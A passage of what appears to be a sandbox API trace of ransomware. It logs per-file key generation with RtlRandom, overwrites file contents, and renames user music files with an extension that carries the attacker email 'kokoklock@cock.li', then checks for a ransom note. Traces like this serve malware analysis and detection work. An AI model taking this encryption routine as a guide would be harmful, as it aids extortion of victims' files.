returned 0x3053ee8 [0173.148] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132d8) returned 1 [0173.148] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0173.148] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.148] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.148] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x186ff914, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x186ff914*=0x4096, lpOverlapped=0x0) returned 1 [0173.148] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0173.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ce0 [0173.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053ce0) returned 1 [0173.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0173.149] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x186ff914, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x186ff914*=0x4096, lpOverlapped=0x0) returned 1 [0173.150] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.150] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x4f1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.150] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x186ff94c, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x186ff94c*=0x20, lpOverlapped=0x0) returned 1 [0173.150] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.150] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.150] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053ee8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x186ff960, lpOverlapped=0x0 | out: lpBuffer=0x3053ee8*, lpNumberOfBytesWritten=0x186ff960*=0x8, lpOverlapped=0x0) returned 1 [0173.150] WriteFile (in: hFile=0x5d4, lpBuffer=0x186ff978*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x186ff960, lpOverlapped=0x0 | out: lpBuffer=0x186ff978*, lpNumberOfBytesWritten=0x186ff960*=0x4, lpOverlapped=0x0) returned 1 [0173.150] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x186ff960, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x186ff960*=0x4, lpOverlapped=0x0) returned 1 [0173.150] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x186ff960, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x186ff960*=0x6c, lpOverlapped=0x0) returned 1 [0173.150] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053c68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x186ff960, lpOverlapped=0x0 | out: lpBuffer=0x3053c68*, lpNumberOfBytesWritten=0x186ff960*=0x20, lpOverlapped=0x0) returned 1 [0173.151] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x186ff960, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x186ff960*=0x4, lpOverlapped=0x0) returned 1 [0173.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053c68) returned 1 [0173.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053df8) returned 1 [0173.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053ee8) returned 1 [0173.151] CloseHandle (hObject=0x5d4) returned 1 [0173.151] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x3054920 [0173.151] wcscpy (in: _Dest=0x3054920, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731" [0173.151] wcscat (in: _Dest=0x3054920, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.151] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\oimdyv2chnopoq8fjjk.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\oimdyv2chnopoq8fjjk.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.152] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.152] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054920) returned 1 [0173.152] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.152] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f95950 [0173.152] wcscpy (in: _Dest=0x2f95950, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0173.152] wcscat (in: _Dest=0x2f95950, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0173.152] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0173.152] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95950) returned 1 [0173.153] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92000) returned 1 [0173.153] RtlExitUserThread (Status=0x1) Thread: id = 2095 os_tid = 0x11a4 [0173.154] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\p06ganfxgzg087a_sloi.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.154] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\p06ganfxgzg087a_sloi.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0173.154] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1877fe60 | out: lpFileSize=0x1877fe60*=31449) returned 1 [0173.154] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x7ad5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.154] ReadFile (in: hFile=0x5d4, lpBuffer=0x1877fe34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1877fe30, lpOverlapped=0x0 | out: lpBuffer=0x1877fe34*, lpNumberOfBytesRead=0x1877fe30*=0x4, lpOverlapped=0x0) returned 1 [0173.155] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.155] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0173.155] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c68 [0173.155] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ce0 [0173.155] NtQuerySystemTime (in: CurrentTime=0x1877fe0c | out: CurrentTime=0x1877fe0c*=132121213304687211) returned 0x0 [0173.155] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x97cbaa8 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x1be12e1 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x319b23d1 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xee148c3 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xac9fc7a5 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xdfa08fdd [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x97203eed [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x60c983c0 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x868678ff [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x325ed2dc [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xb3742f96 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x6fe8f969 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x8fb08587 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xcf3617ad [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x856c24d7 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x6308aa77 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xedf21e64 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x4f4e9118 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xe09ccca1 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x5f7962b6 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x724788a4 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xcc7ddd8b [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x9b696ba [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x5ee358b [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x13706ce6 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xe05a8b65 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xb1d7495e [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xc0009874 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0xcef7e590 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x44becea6 [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x5680425e [0173.156] RtlRandom (in: Seed=0x1877fe18 | out: Seed=0x1877fe18) returned 0x70474d01 [0173.166] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053df8 [0173.168] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30132d8 [0173.168] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ee8 [0173.168] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132d8) returned 1 [0173.168] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0173.168] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.168] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.168] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1877fde4, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1877fde4*=0x4096, lpOverlapped=0x0) returned 1 [0173.168] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.168] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0173.168] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.168] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d08 [0173.168] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d08) returned 1 [0173.169] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.169] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.169] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.169] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.169] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.169] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0173.169] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1877fde4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1877fde4*=0x4096, lpOverlapped=0x0) returned 1 [0173.169] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.169] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x7ad9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.169] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1877fe1c, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x1877fe1c*=0x20, lpOverlapped=0x0) returned 1 [0173.170] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.170] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.170] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053ee8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1877fe30, lpOverlapped=0x0 | out: lpBuffer=0x3053ee8*, lpNumberOfBytesWritten=0x1877fe30*=0x8, lpOverlapped=0x0) returned 1 [0173.170] WriteFile (in: hFile=0x5d4, lpBuffer=0x1877fe48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1877fe30, lpOverlapped=0x0 | out: lpBuffer=0x1877fe48*, lpNumberOfBytesWritten=0x1877fe30*=0x4, lpOverlapped=0x0) returned 1 [0173.170] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1877fe30, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1877fe30*=0x4, lpOverlapped=0x0) returned 1 [0173.170] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1877fe30, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1877fe30*=0x6c, lpOverlapped=0x0) returned 1 [0173.170] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053c68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1877fe30, lpOverlapped=0x0 | out: lpBuffer=0x3053c68*, lpNumberOfBytesWritten=0x1877fe30*=0x20, lpOverlapped=0x0) returned 1 [0173.170] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1877fe30, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1877fe30*=0x4, lpOverlapped=0x0) returned 1 [0173.171] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053c68) returned 1 [0173.171] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053df8) returned 1 [0173.171] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053ee8) returned 1 [0173.171] CloseHandle (hObject=0x5d4) returned 1 [0173.171] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x3054920 [0173.171] wcscpy (in: _Dest=0x3054920, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731" [0173.171] wcscat (in: _Dest=0x3054920, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.171] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\p06ganfxgzg087a_sloi.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\p06ganfxgzg087a_sloi.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.172] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.172] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054920) returned 1 [0173.172] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.172] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f957b0 [0173.172] wcscpy (in: _Dest=0x2f957b0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0173.172] wcscat (in: _Dest=0x2f957b0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0173.172] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0173.172] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f957b0) returned 1 [0173.172] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057248) returned 1 [0173.172] RtlExitUserThread (Status=0x1) Thread: id = 2096 os_tid = 0x11a8 [0173.174] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rkmf1ygovc9d w.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.174] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rkmf1ygovc9d w.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0173.174] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x187fff2c | out: lpFileSize=0x187fff2c*=68340) returned 1 [0173.174] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x10af0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.174] ReadFile (in: hFile=0x5d4, lpBuffer=0x187fff00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x187ffefc, lpOverlapped=0x0 | out: lpBuffer=0x187fff00*, lpNumberOfBytesRead=0x187ffefc*=0x4, lpOverlapped=0x0) returned 1 [0173.175] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.175] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0173.175] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c68 [0173.175] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d08 [0173.175] NtQuerySystemTime (in: CurrentTime=0x187ffed8 | out: CurrentTime=0x187ffed8*=132121213304827046) returned 0x0 [0173.175] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x56a5ccc5 [0173.175] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xcb101882 [0173.175] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x46816393 [0173.175] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xb9755f2e [0173.175] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xff40b886 [0173.175] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xce2bf3d5 [0173.175] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x14910b11 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xc0e3cbdd [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x2f3125d7 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xba6d7e16 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xd40d0207 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x5550bd9b [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x92f49774 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x503c85d0 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xf8a2ec31 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x5456a89d [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x9082cc33 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xad41d4b3 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x796c4dae [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xf5d5d3f6 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x5ed7b0d3 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xb5779dcb [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x5faab026 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x77f03cea [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xec12b9d3 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x6cf6791b [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x101c6535 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x40d9635d [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x769eb665 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xd1ee47b4 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0xb0c37d12 [0173.176] RtlRandom (in: Seed=0x187ffee4 | out: Seed=0x187ffee4) returned 0x27058177 [0173.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, 